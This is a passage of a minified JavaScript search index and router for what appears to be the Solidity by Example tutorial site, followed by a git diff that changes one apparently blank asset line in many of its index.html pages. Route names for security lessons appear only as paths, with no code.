,Rf=["/defi/uniswap-v3-swap","/defi/uniswap-v3-liquidity","/defi/uniswap-v3-flash-swap","/defi/uniswap-v3-flash"],Nf=["/defi/uniswap-v3-swap","/defi/uniswap-v3-flash-swap","/defi/uniswap-v2-flash-swap","/defi/uniswap-v2","/defi/stable-swap-amm"],Hf=["/defi/uniswap-v3-swap","/defi/uniswap-v3-liquidity","/defi/uniswap-v3-flash-swap","/defi/uniswap-v3-flash","/defi/uniswap-v2-optimal-one-sided-supply","/defi/uniswap-v2-flash-swap","/defi/uniswap-v2-add-remove-liquidity","/defi/uniswap-v2","/defi/stable-swap-amm","/defi/constant-sum-amm","/defi/constant-product-amm"],Kf=["/defi/uniswap-v3-liquidity","/defi/uniswap-v2-add-remove-liquidity"],Ff=["/defi/uniswap-v3-flash-swap"],Mf=["/defi/uniswap-v3-flash","/defi/uniswap-v2-flash-swap"],Sf=["/defi/uniswap-v3-flash"],xf=["/defi/uniswap-v2-optimal-one-sided-supply","/defi/uniswap-v2-flash-swap","/defi/uniswap-v2-add-remove-liquidity","/defi/uniswap-v2"],Jf=["/defi/uniswap-v2-optimal-one-sided-supply"],zf=["/defi/uniswap-v2-optimal-one-sided-supply"],Df=["/defi/uniswap-v2-optimal-one-sided-supply"],Ef=["/defi/uniswap-v2-optimal-one-sided-supply"],Qf=["/defi/uniswap-v2-add-remove-liquidity","/assembly-math"],Tf=["/defi/uniswap-v2-add-remove-liquidity"],Uf=["/defi/staking-rewards","/defi/discrete-staking-rewards"],_f=["/defi/staking-rewards","/defi/discrete-staking-rewards"],Lf=["/defi/staking-rewards","/defi/discrete-staking-rewards"],Of=["/defi/stable-swap-amm"],Pf=["/defi/stable-swap-amm"],$f=["/defi/discrete-staking-rewards"],qf=["/defi/dai-proxy"],s1=["/defi/dai-proxy","/app/upgradeable-proxy","/app/minimal-proxy"],a1=["/defi/constant-sum-amm"],n1=["/defi/constant-product-amm"],l1=["/defi/chainlink-price-oracle"],p1=["/defi/chainlink-price-oracle"],e1=["/defi/chainlink-price-oracle"],c1=["/defi/chainlink-price-oracle"],t1=["/data-locations"],o1=["/data-locations"],r1=["/data-locations"],i1=["/constructor"],g1=["/constructor"],h1=["/calling-contract"],I1=["/bitwise"],d1=["/bitwise"],C1=["/bitwise"],j1=["/bitwise"],A1=["/assembly-math"],u1=["/array"],y1=["/array"],m1=["/app/write-to-any-slot"],b1=["/app/write-to-any-slot","/app/deploy-any-contract"],w1=["/app/write-to-any-slot"],k1=["/app/upgradeable-proxy"],Z1=["/app/uni-directional-payment-channel","/app/bi-directional-payment-channel"],W1=["/app/uni-directional-payment-channel","/app/bi-directional-payment-channel"],B1=["/app/time-lock"],G1=["/app/time-lock"],V1=["/app/simple-bytecode-contract"],f1=["/app/simple-bytecode-contract"],Y1=["/app/multi-sig-wallet","/app/multi-delegatecall","/app/multi-call"],X1=["/app/multi-sig-wallet"],v1=["/app/multi-sig-wallet","/app/ether-wallet"],R1=["/app/multi-call"],N1=["/app/minimal-proxy"],H1=["/app/merkle-tree","/app/airdrop"],K1=["/app/merkle-tree"],F1=["/app/iterable-mapping"],M1=["/app/gasless-token-transfer"],S1=["/app/gasless-token-transfer","/app/erc20"],x1=["/app/gasless-token-transfer"],J1=["/app/erc721"],z1=["/app/erc721"],D1=["/app/erc721","/app/erc1155"],E1=["/app/erc20"],Q1=["/app/erc20"],T1=["/app/erc1155"],U1=["/app/erc1155"],_1=["/app/english-auction"],L1=["/app/english-auction","/app/dutch-auction"],O1=["/app/english-auction","/app/dutch-auction"],P1=["/app/dutch-auction"],$1=["/app/crowd-fund"],q1=["/app/crowd-fund"],sY=["/app/crowd-fund"],aY=["/app/create2"],nY=["/app/assembly-bin-exp"],lY=["/app/assembly-bin-exp"],pY=["/app/airdrop"],eY=["/abi-encode","/abi-decode"],cY=["/abi-encode"],tY=["/abi-encode","/abi-decode"],oY=["/abi-encode"],rY=["/abi-encode"],iY=["/abi-encode"],gY=["/abi-decode"],Ro={visibility:DB,function:["/visibility","/view-and-pure-functions","/sending-ether","/hashing","/function-selector","/function-modifier","/function","/fallback","/delegatecall","/calling-contract","/call"],functions:EB,internal:QB,private:["/visibility","/hacks/accessing-private-data"],public:["/visibility"],external:TB,view:UB,pure:_B,variable:LB,variables:OB,local:PB,global:$B,state:qB,data:sG,user:aG,defined:nG,value:lG,types:pG,udvt:eG,gas:cG,unchecked:tG,math:oG,overflow:rG,underflow:iG,try:["/try-catch"],catch:["/try-catch"],error:gG,errors:hG,transient:IG,storage:dG,test:CG,echidna:jG,calling:AG,parent:uG,contract:yG,contracts:mG,inheritance:bG,super:["/super","/inheritance"],struct:wG,structs:kG,type:ZG,reading:WG,writing:BG,app:GG,application:VG,cryptography:fG,verify:YG,verifying:XG,signature:vG,signatures:RG,ecrecover:NG,shadow:HG,shadowing:KG,sending:FG,send:MG,ether:SG,eth:xG,transfer:JG,call:zG,fallback:DG,receive:EG,payable:QG,primitive:TG,primitives:UG,boolean:_G,uint256:LG,int256:OG,address:PG,uint:$G,int:qG,new:["/new-contract","/new-contract"],create:sV,creates:aV,create2:nV,salt:lV,mapping:pV,for:["/loop","/assembly-loop"],loop:eV,loops:cV,while:["/loop","/assembly-loop"],do:["/loop"],library:tV,interface:["/interface"],interfaces:oV,override:rV,virtual:iV,is:gV,import:["/import","/enum"],constant:hV,constants:IV,immutable:dV,immutables:CV,if:["/if-else","/assembly-if"],else:["/if-else"],conditional:jV,statement:AV,statements:uV,hello:yV,world:mV,hash:bV,hashing:wV,keccak256:kV,hack:ZV,security:WV,weth:BV,permit:GV,inflation:VV,erc4626:fV,vault:YV,replay:XV,selfdestruct:vV,"re-entrancy":["/hacks/re-entrancy"],source:RV,random:NV,randomness:HV,blockhash:KV,block:FV,timestamp:MV,phishing:SV,"tx.origin":["/hacks/phishing-with-tx-origin"],arithmetic:xV,honeypot:JV,hide:zV,hiding:DV,malicious:EV,code:QV,front:TV,running:UV,deploy:_V,different:LV,same:OV,denial:PV,service:$V,delegatecall:qV,bypass:sf,size:af,check:nf,extcodesize:lf,manipulation:pf,access:ef,accessing:cf,golf:tf,selector:of,selectors:rf,modifier:gf,modifiers:hf,_:If,first:df,counter:Cf,evm:jf,yul:Af,assembly:uf,memory:yf,events:mf,advanced:bf,"event-driven":["/events-advanced"],monitoring:wf,filtering:kf,event:Zf,wei:Wf,units:Bf,require:Gf,revert:Vf,assert:ff,enum:["/enum"],imports:Yf,defi:Xf,uniswap:vf,v3:Rf,swap:Nf,amm:Hf,liquidity:Kf,arbitrage:Ff,flash:Mf,loan:Sf,v2:xf,optimal:Jf,one:zf,sided:Df,supply:Ef,add:Qf,remove:Tf,staking:Uf,reward:_f,rewards:Lf,curve:Of,stable:Pf,discrete:$f,dai:qf,proxy:s1,sum:a1,product:n1,chainlink:l1,price:p1,oracle:e1,oracles:c1,location:t1,locations:o1,calldata:r1,constructor:i1,constructors:g1,other:h1,bitwise:I1,most:d1,significant:C1,bit:j1,mul:A1,switch:["/assembly-if"],array:u1,arrays:y1,write:m1,any:b1,slot:w1,upgradeable:k1,"uni-directional":["/app/uni-directional-payment-channel"],payment:Z1,channel:W1,time:B1,lock:G1,simple:V1,bytecode:f1,multi:Y1,sig:X1,wallet:v1,staticcall:R1,minimal:N1,merkle:H1,tree:K1,iterable:F1,gasless:M1,token:S1,ERC20:x1,erc721:J1,ierc721:z1,nft:D1,erc20:E1,ierc20:Q1,erc1155:T1,ierc1155:U1,english:_1,auction:L1,auctions:O1,dutch:P1,crowd:$1,fund:q1,funding:sY,precompute:aY,"bi-directional":["/app/bi-directional-payment-channel"],binary:nY,exponentiation:lY,airdrop:pY,abi:eY,encode:cY,bytes:tY,encodeWithSelector:oY,encodeWithSignature:rY,encodeCall:iY,decode:gY},No={"/visibility":["visibility","function","functions","internal","private","public","external"],"/view-and-pure-functions":["view","pure","function","functions"],"/variables":["variable","variables","local","global","state","data"],"/user-defined-value-types":["data","user","defined","value","types","udvt"],"/unchecked-math":["gas","unchecked","math","overflow","underflow"],"/try-catch":["try","catch","error","errors"],"/transient-storage":["transient","storage"],"/tests/echidna":["test","echidna"],"/super":["calling","parent","contract","contracts","inheritance","super"],"/structs":["struct","structs","data","type","types","variable","variables"],"/state-variables":["reading","writing","state","variable","variables","app","application"],"/signature":["cryptography","verify","verifying","signature","signatures","ecrecover"],"/shadowing-inherited-state-variables":["state","variables","variable","shadow","shadowing","inheritance"],"/sending-ether":["sending","send","ether","eth","transfer","send","call","fallback","receive","payable","function","functions"],"/primitives":["primitive","primitives","data","type","types","variable","variables","boolean","uint256","int256","address","uint","int"],"/payable":["payable","eth","send","ether"],"/new-contract":["new","contract","create","contracts","creates","new","create2","salt"],"/mapping":["data","variable","variables","mapping"],"/loop":["for","loop","loops","while","do"],"/library":["library"],"/interface":["interface","interfaces","contract","contracts"],"/inheritance":["inheritance","super","override","virtual","is","contract","contracts"],"/import":["import"],"/immutable":["constant","constants","immutable","immutables","data","variable","variables"],"/if-else":["if","else","conditional","statement","statements"],"/hello-world":["contract","app","application","hello","world"],"/hashing":["hash","hashing","function","functions","keccak256","cryptography"],"/hacks/weth-permit":["hack","security","weth","permit"],"/hacks/vault-inflation":["hack","security","inflation","erc4626","vault"],"/hacks/signature-replay":["hack","security","cryptography","signature","replay"],"/hacks/self-destruct":["hack","security","selfdestruct"],"/hacks/re-entrancy":["hack","security","re-entrancy"],"/hacks/randomness":["hack","security","source","random","randomness","blockhash","block","timestamp"],"/hacks/phishing-with-tx-origin":["hack","security","phishing","tx.origin"],"/hacks/overflow":["hack","security","arithmetic","overflow","underflow"],"/hacks/honeypot":["hack","security","honeypot"],"/hacks/hiding-malicious-code-with-external-contract":["hack","security","hide","hiding","malicious","code","external","contract"],"/hacks/front-running":["hack","security","front","running"],"/hacks/deploy-different-contracts-same-address":["hack","security","deploy","salt","create","create2","different","contract","same","address"],"/hacks/denial-of-service":["hack","security","denial","service"],"/hacks/delegatecall":["hack","security","delegatecall"],"/hacks/contract-size":["hack","security","bypass","contract","size","check","extcodesize"],"/hacks/block-timestamp-manipulation":["hack","security","block","timestamp","manipulation"],"/hacks/accessing-private-data":["hack","security","access","accessing","private","data","storage"],"/gas-golf":["gas","golf"],"/gas":["gas"],"/function-selector":["function","functions","selector","selectors"],"/function-modifier":["function","functions","modifier","modifiers","_"],"/function":["function","functions"],"/first-app":["contract","contracts","app","first","application","counter"],"/fallback":["fallback","function","functions","receive","payable","send","ether","eth","transfer"],"/evm/storage":["data","evm","storage","state","variable","yul","assembly"],"/evm/memory":["data","evm","memory","yul","assembly"],"/events-advanced":["events","advanced","event-driven","monitoring","filtering","security"],"/events":["event","events"],"/ether-units":["data","variables","variable","ether","wei","units"],"/error":["error","errors","require","revert","assert"],"/enum":["data","variable","variables","enum","import","imports"],"/delegatecall":["delegatecall","call","contract","contracts","function","functions"],"/defi/vault":["defi","vault"],"/defi/uniswap-v3-swap":["defi","uniswap","v3","swap","amm"],"/defi/uniswap-v3-liquidity":["defi","uniswap","v3","liquidity","amm"],"/defi/uniswap-v3-flash-swap":["defi","uniswap","v3","swap","arbitrage","amm"],"/defi/uniswap-v3-flash":["defi","uniswap","v3","flash","loan","amm"],"/defi/uniswap-v2-optimal-one-sided-supply":["defi","uniswap","v2","optimal","one","sided","supply","amm"],"/defi/uniswap-v2-flash-swap":["defi","uniswap","v2","flash","swap","amm"],"/defi/uniswap-v2-add-remove-liquidity":["defi","uniswap","v2","add","remove","liquidity","amm"],"/defi/uniswap-v2":["defi","uniswap","v2","swap","amm"],"/defi/staking-rewards":["defi","staking","reward","rewards"],"/defi/stable-swap-amm":["defi","curve","stable","swap","amm"],"/defi/discrete-staking-rewards":["defi","discrete","staking","reward","rewards"],"/defi/dai-proxy":["defi","dai","proxy"],"/defi/constant-sum-amm":["defi","constant","sum","amm"],"/defi/constant-product-amm":["defi","constant","product","amm"],"/defi/chainlink-price-oracle":["defi","chainlink","price","oracle","oracles"],"/data-locations":["data","location","locations","storage","memory","calldata"],"/constructor":["constructor","constructors","contract","inheritance"],"/constants":["constant","constants","data","variable","variables"],"/calling-contract":["calling","other","contract","contracts","call","function","functions"],"/call":["contract","contracts","call","function","functions"],"/bitwise":["bitwise","most","significant","bit","assembly"],"/assembly-variable":["assembly","variable","yul"],"/assembly-math":["assembly","yul","math","add","mul"],"/assembly-loop":["assembly","loop","yul","while","for"],"/assembly-if":["assembly","yul","if","switch"],"/assembly-error":["assembly","yul","error","revert"],"/array":["data","variable","variables","array","arrays"],"/app/write-to-any-slot":["app","application","write","any","slot","storage"],"/app/upgradeable-proxy":["app","application","delegatecall","upgradeable","proxy"],"/app/uni-directional-payment-channel":["app","application","uni-directional","payment","channel","signature","cryptography"],"/app/time-lock":["app","application","time","lock"],"/app/simple-bytecode-contract":["app","application","simple","bytecode","contract"],"/app/multi-sig-wallet":["app","application","multi","sig","signature","wallet"],"/app/multi-delegatecall":["app","application","multi","delegatecall"],"/app/multi-call":["app","application","multi","call","staticcall"],"/app/minimal-proxy":["app","application","minimal","proxy","contract"],"/app/merkle-tree":["app","application","merkle","tree","cryptography"],"/app/iterable-mapping":["app","application","mapping","data","iterable"],"/app/gasless-token-transfer":["app","application","gasless","token","transfer","ERC20","permit"],"/app/ether-wallet":["app","application","ether","eth","wallet"],"/app/erc721":["app","application","erc721","ierc721","nft"],"/app/erc20":["app","application","erc20","ierc20","token"],"/app/erc1155":["app","application","erc1155","nft","ierc1155"],"/app/english-auction":["app","application","english","auction","auctions"],"/app/dutch-auction":["app","application","dutch","auction","auctions"],"/app/deploy-any-contract":["app","application","deploy","any","contract"],"/app/crowd-fund":["app","application","crowd","fund","funding"],"/app/create2":["app","application","create2","precompute","contract","address"],"/app/bi-directional-payment-channel":["app","application","bi-directional","payment","channel","signature","cryptography"],"/app/assembly-bin-exp":["assembly","yul","binary","exponentiation","math"],"/app/airdrop":["app","application","merkle","airdrop"],"/abi-encode":["abi","encode","bytes","encodeWithSelector","encodeWithSignature","encodeCall"],"/abi-decode":["abi","decode","bytes"]},hc=[];for(const s of Object.keys(No))hc.push(...No[s]);const Cg={};for(let s=0;s{const I=n.get("q");I!=null&&I.length>0&&(a(I),c(I,!1))},[]);function c(I,d){const j=I.trim();if(j.length==0){e(null),d&&l({q:""});return}const u=hY(j.split(" ")),m={};for(const b of u){const B=IY(b);for(const h of B)m[h]=!0}e(m),d&&l({q:j})}const t=SB(I=>c(I,!0),500,[]);function o(I){a(I),t(I)}function i(){return p?Object.keys(p).length==0?r.jsx("div",{children:"No results"}):r.jsx("ul",{className:as.list,children:Cp.filter(({path:I})=>p[I]).map(({path:I,title:d})=>r.jsx("li",{className:as.listItem,children:r.jsx("a",{href:I,children:d})},I))}):r.jsxs(r.Fragment,{children:[rt.map(({routes:I,title:d},j)=>r.jsxs("div",{children:[d&&r.jsx("h3",{className:as.category,children:d}),r.jsx("ul",{className:as.list,children:I.map(({path:u,title:m})=>r.jsx("li",{className:as.listItem,children:r.jsx("a",{href:u,children:m})},u))})]},j)),r.jsxs("div",{children:[r.jsx("h3",{className:as.category,children:"Translations"}),Ld.map(({lang:I,url:d})=>r.jsx("li",{className:as.listItem,children:r.jsx("a",{href:d,target:"__blank",children:I})},d))]})]})}return r.jsxs("div",{className:as.component,children:[r.jsx(dg,{title:"Solidity by Example | 0.8.24",description:"Learn smart contract programming using Solidity"}),r.jsx("h1",{className:as.header,children:r.jsx("a",{href:"/",children:"Solidity by Example"})}),r.jsx("div",{className:as.subHeader,children:"v 0.8.24"}),r.jsxs("div",{className:as.main,children:[r.jsxs("p",{children:["Introduction to ",r.jsx("a",{href:"https://solidity.readthedocs.io",children:"Solidity"})," with simple examples"]}),r.jsxs("div",{className:as.youTube,children:[r.jsx("img",{src:Ig,alt:"logo",className:as.youTubeLogo}),r.jsx("a",{href:"https://www.youtube.com/@smartcontractprogrammer",target:"__blank",children:"Most code are explained here"})]}),r.jsxs("div",{className:as.cryptoJobsList,children:[r.jsx(uB,{size:24,className:as.cryptoJobsListLogo}),r.jsx("a",{href:hg,target:"__blank",children:"Looking for Solidity jobs?"})]}),r.jsx("div",{className:as.updates,children:WY.map((I,d)=>r.jsx("div",{children:I},d))}),r.jsx("div",{className:as.search,children:r.jsx(AB,{value:s,onChange:o})}),i()]})]})}const GY=[{path:"/abi-decode",component:zC},{path:"/abi-encode",component:_C},{path:"/app/airdrop",component:sj},{path:"/app/assembly-bin-exp",component:cj},{path:"/app/bi-directional-payment-channel",component:hj},{path:"/app/create2",component:uj},{path:"/app/crowd-fund",component:Zj},{path:"/app/deploy-any-contract",component:Yj},{path:"/app/dutch-auction",component:Kj},{path:"/app/english-auction",component:zj},{path:"/app/erc1155",component:_j},{path:"/app/erc20",component:sA},{path:"/app/erc721",component:cA},{path:"/app/ether-wallet",component:hA},{path:"/app/gasless-token-transfer",component:uA},{path:"/app/iterable-mapping",component:ZA},{path:"/app/merkle-tree",component:YA},{path:"/app/minimal-proxy",component:KA},{path:"/app/multi-call",component:zA},{path:"/app/multi-delegatecall",component:_A},{path:"/app/multi-sig-wallet",component:su},{path:"/app/simple-bytecode-contract",component:cu},{path:"/app/time-lock",component:hu},{path:"/app/uni-directional-payment-channel",component:uu},{path:"/app/upgradeable-proxy",component:Zu},{path:"/app/write-to-any-slot",component:Yu},{path:"/array",component:Ku},{path:"/assembly-error",component:zu},{path:"/assembly-if",component:_u},{path:"/assembly-loop",component:sy},{path:"/assembly-math",component:cy},{path:"/assembly-variable",component:hy},{path:"/bitwise",component:uy},{path:"/call",component:Zy},{path:"/calling-contract",component:Yy},{path:"/constants",component:Ky},{path:"/constructor",component:zy},{path:"/data-locations",component:_y},{path:"/defi/chainlink-price-oracle",component:sm},{path:"/defi/constant-product-amm",component:cm},{path:"/defi/constant-sum-amm",component:hm},{path:"/defi/dai-proxy",component:um},{path:"/defi/discrete-staking-rewards",component:Zm},{path:"/defi/stable-swap-amm",component:Ym},{path:"/defi/staking-rewards",component:Km},{path:"/defi/uniswap-v2",component:zm},{path:"/defi/uniswap-v2-add-remove-liquidity",component:_m},{path:"/defi/uniswap-v2-flash-swap",component:sb},{path:"/defi/uniswap-v2-optimal-one-sided-supply",component:cb},{path:"/defi/uniswap-v3-flash",component:hb},{path:"/defi/uniswap-v3-flash-swap",component:ub},{path:"/defi/uniswap-v3-liquidity",component:Zb},{path:"/defi/uniswap-v3-swap",component:Yb},{path:"/defi/vault",component:Kb},{path:"/delegatecall",component:zb},{path:"/enum",component:_b},{path:"/error",component:sw},{path:"/ether-units",component:cw},{path:"/events",component:hw},{path:"/events-advanced",component:uw},{path:"/evm/memory",component:Zw},{path:"/evm/storage",component:Yw},{path:"/fallback",component:Kw},{path:"/first-app",component:zw},{path:"/function",component:_w},{path:"/function-modifier",component:sk},{path:"/function-selector",component:ck},{path:"/gas",component:hk},{path:"/gas-golf",component:uk},{path:"/hacks/accessing-private-data",component:Zk},{path:"/hacks/block-timestamp-manipulation",component:Yk},{path:"/hacks/contract-size",component:Kk},{path:"/hacks/delegatecall",component:zk},{path:"/hacks/denial-of-service",component:_k},{path:"/hacks/deploy-different-contracts-same-address",component:s0},{path:"/hacks/front-running",component:c0},{path:"/hacks/hiding-malicious-code-with-external-contract",component:h0},{path:"/hacks/honeypot",component:u0},{path:"/hacks/overflow",component:Z0},{path:"/hacks/phishing-with-tx-origin",component:Y0},{path:"/hacks/randomness",component:K0},{path:"/hacks/re-entrancy",component:z0},{path:"/hacks/self-destruct",component:_0},{path:"/hacks/signature-replay",component:sZ},{path:"/hacks/vault-inflation",component:cZ},{path:"/hacks/weth-permit",component:hZ},{path:"/hashing",component:uZ},{path:"/hello-world",component:ZZ},{path:"/if-else",component:YZ},{path:"/immutable",component:KZ},{path:"/import",component:zZ},{path:"/inheritance",component:_Z},{path:"/interface",component:sW},{path:"/library",component:cW},{path:"/loop",component:hW},{path:"/mapping",component:uW},{path:"/new-contract",component:ZW},{path:"/payable",component:YW},{path:"/primitives",component:KW},{path:"/sending-ether",component:zW},{path:"/shadowing-inherited-state-variables",component:_W},{path:"/signature",component:s2},{path:"/state-variables",component:c2},{path:"/structs",component:h2},{path:"/super",component:u2},{path:"/tests/echidna",component:Z2},{path:"/transient-storage",component:Y2},{path:"/try-catch",component:K2},{path:"/unchecked-math",component:z2},{path:"/user-defined-value-types",component:_2},{path:"/variables",component:sB},{path:"/view-and-pure-functions",component:cB},{path:"/visibility",component:hB},{path:"",component:BY}];function Ho(){const{state:s,init:a}=tt();return W.useLayoutEffect(()=>{a({width:window.document.body.clientWidth})},[]),s.initialized?r.jsx(Md,{basename:"",children:r.jsx(YC,{children:r.jsx(Nd,{children:GY.map(n=>{const{prev:l,next:p}=lC(n.path);return r.jsx(gg,{path:n.path,element:_o.createElement(n.component,{prev:l,next:p})},n.path)})})})}):null}const VY=document.getElementById("root"),fY=$i(VY),Ko=document.getElementById("root");Ko.hasChildNodes()?Pi(Ko,r.jsx(wo,{children:r.jsx(Ho,{})})):fY.render(r.jsx(wo,{children:r.jsx(Ho,{})})); diff --git a/bitwise/index.html b/bitwise/index.html index f1f394a4c..0ba192e2c 100644 --- a/bitwise/index.html +++ b/bitwise/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/call/index.html b/call/index.html index f1f394a4c..0ba192e2c 100644 --- a/call/index.html +++ b/call/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/calling-contract/index.html b/calling-contract/index.html index f1f394a4c..0ba192e2c 100644 --- a/calling-contract/index.html +++ b/calling-contract/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/constants/index.html b/constants/index.html index f1f394a4c..0ba192e2c 100644 --- a/constants/index.html +++ b/constants/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/constructor/index.html b/constructor/index.html index f1f394a4c..0ba192e2c 100644 --- a/constructor/index.html +++ b/constructor/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/data-locations/index.html b/data-locations/index.html index f1f394a4c..0ba192e2c 100644 --- a/data-locations/index.html +++ b/data-locations/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/defi/chainlink-price-oracle/index.html b/defi/chainlink-price-oracle/index.html index f1f394a4c..0ba192e2c 100644 --- a/defi/chainlink-price-oracle/index.html +++ b/defi/chainlink-price-oracle/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/defi/constant-product-amm/index.html b/defi/constant-product-amm/index.html index f1f394a4c..0ba192e2c 100644 --- a/defi/constant-product-amm/index.html +++ b/defi/constant-product-amm/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/defi/constant-sum-amm/index.html b/defi/constant-sum-amm/index.html index f1f394a4c..0ba192e2c 100644 --- a/defi/constant-sum-amm/index.html +++ b/defi/constant-sum-amm/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/defi/dai-proxy/index.html b/defi/dai-proxy/index.html index f1f394a4c..0ba192e2c 100644 --- a/defi/dai-proxy/index.html +++ b/defi/dai-proxy/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/defi/discrete-staking-rewards/index.html b/defi/discrete-staking-rewards/index.html index f1f394a4c..0ba192e2c 100644 --- a/defi/discrete-staking-rewards/index.html +++ b/defi/discrete-staking-rewards/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/defi/stable-swap-amm/index.html b/defi/stable-swap-amm/index.html index f1f394a4c..0ba192e2c 100644 --- a/defi/stable-swap-amm/index.html +++ b/defi/stable-swap-amm/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/defi/staking-rewards/index.html b/defi/staking-rewards/index.html index f1f394a4c..0ba192e2c 100644 --- a/defi/staking-rewards/index.html +++ b/defi/staking-rewards/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/defi/uniswap-v2-add-remove-liquidity/index.html b/defi/uniswap-v2-add-remove-liquidity/index.html index f1f394a4c..0ba192e2c 100644 --- a/defi/uniswap-v2-add-remove-liquidity/index.html +++ b/defi/uniswap-v2-add-remove-liquidity/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/defi/uniswap-v2-flash-swap/index.html b/defi/uniswap-v2-flash-swap/index.html index f1f394a4c..0ba192e2c 100644 --- a/defi/uniswap-v2-flash-swap/index.html +++ b/defi/uniswap-v2-flash-swap/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/defi/uniswap-v2-optimal-one-sided-supply/index.html b/defi/uniswap-v2-optimal-one-sided-supply/index.html index f1f394a4c..0ba192e2c 100644 --- a/defi/uniswap-v2-optimal-one-sided-supply/index.html +++ b/defi/uniswap-v2-optimal-one-sided-supply/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/defi/uniswap-v2/index.html b/defi/uniswap-v2/index.html index f1f394a4c..0ba192e2c 100644 --- a/defi/uniswap-v2/index.html +++ b/defi/uniswap-v2/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/defi/uniswap-v3-flash-swap/index.html b/defi/uniswap-v3-flash-swap/index.html index f1f394a4c..0ba192e2c 100644 --- a/defi/uniswap-v3-flash-swap/index.html +++ b/defi/uniswap-v3-flash-swap/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/defi/uniswap-v3-flash/index.html b/defi/uniswap-v3-flash/index.html index f1f394a4c..0ba192e2c 100644 --- a/defi/uniswap-v3-flash/index.html +++ b/defi/uniswap-v3-flash/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/defi/uniswap-v3-liquidity/index.html b/defi/uniswap-v3-liquidity/index.html index f1f394a4c..0ba192e2c 100644 --- a/defi/uniswap-v3-liquidity/index.html +++ b/defi/uniswap-v3-liquidity/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/defi/uniswap-v3-swap/index.html b/defi/uniswap-v3-swap/index.html index f1f394a4c..0ba192e2c 100644 --- a/defi/uniswap-v3-swap/index.html +++ b/defi/uniswap-v3-swap/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/defi/vault/index.html b/defi/vault/index.html index f1f394a4c..0ba192e2c 100644 --- a/defi/vault/index.html +++ b/defi/vault/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/delegatecall/index.html b/delegatecall/index.html index f1f394a4c..0ba192e2c 100644 --- a/delegatecall/index.html +++ b/delegatecall/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/enum/index.html b/enum/index.html index f1f394a4c..0ba192e2c 100644 --- a/enum/index.html +++ b/enum/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/error/index.html b/error/index.html index f1f394a4c..0ba192e2c 100644 --- a/error/index.html +++ b/error/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/ether-units/index.html b/ether-units/index.html index f1f394a4c..0ba192e2c 100644 --- a/ether-units/index.html +++ b/ether-units/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/events-advanced/index.html b/events-advanced/index.html index f1f394a4c..0ba192e2c 100644 --- a/events-advanced/index.html +++ b/events-advanced/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/events/index.html b/events/index.html index f1f394a4c..0ba192e2c 100644 --- a/events/index.html +++ b/events/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/evm/memory/index.html b/evm/memory/index.html index f1f394a4c..0ba192e2c 100644 --- a/evm/memory/index.html +++ b/evm/memory/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/evm/storage/index.html b/evm/storage/index.html index f1f394a4c..0ba192e2c 100644 --- a/evm/storage/index.html +++ b/evm/storage/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/fallback/index.html b/fallback/index.html index f1f394a4c..0ba192e2c 100644 --- a/fallback/index.html +++ b/fallback/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/first-app/index.html b/first-app/index.html index f1f394a4c..0ba192e2c 100644 --- a/first-app/index.html +++ b/first-app/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/function-modifier/index.html b/function-modifier/index.html index f1f394a4c..0ba192e2c 100644 --- a/function-modifier/index.html +++ b/function-modifier/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/function-selector/index.html b/function-selector/index.html index f1f394a4c..0ba192e2c 100644 --- a/function-selector/index.html +++ b/function-selector/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/function/index.html b/function/index.html index f1f394a4c..0ba192e2c 100644 --- a/function/index.html +++ b/function/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/gas-golf/index.html b/gas-golf/index.html index f1f394a4c..0ba192e2c 100644 --- a/gas-golf/index.html +++ b/gas-golf/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/gas/index.html b/gas/index.html index f1f394a4c..0ba192e2c 100644 --- a/gas/index.html +++ b/gas/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/hacks/accessing-private-data/index.html b/hacks/accessing-private-data/index.html index f1f394a4c..0ba192e2c 100644 --- 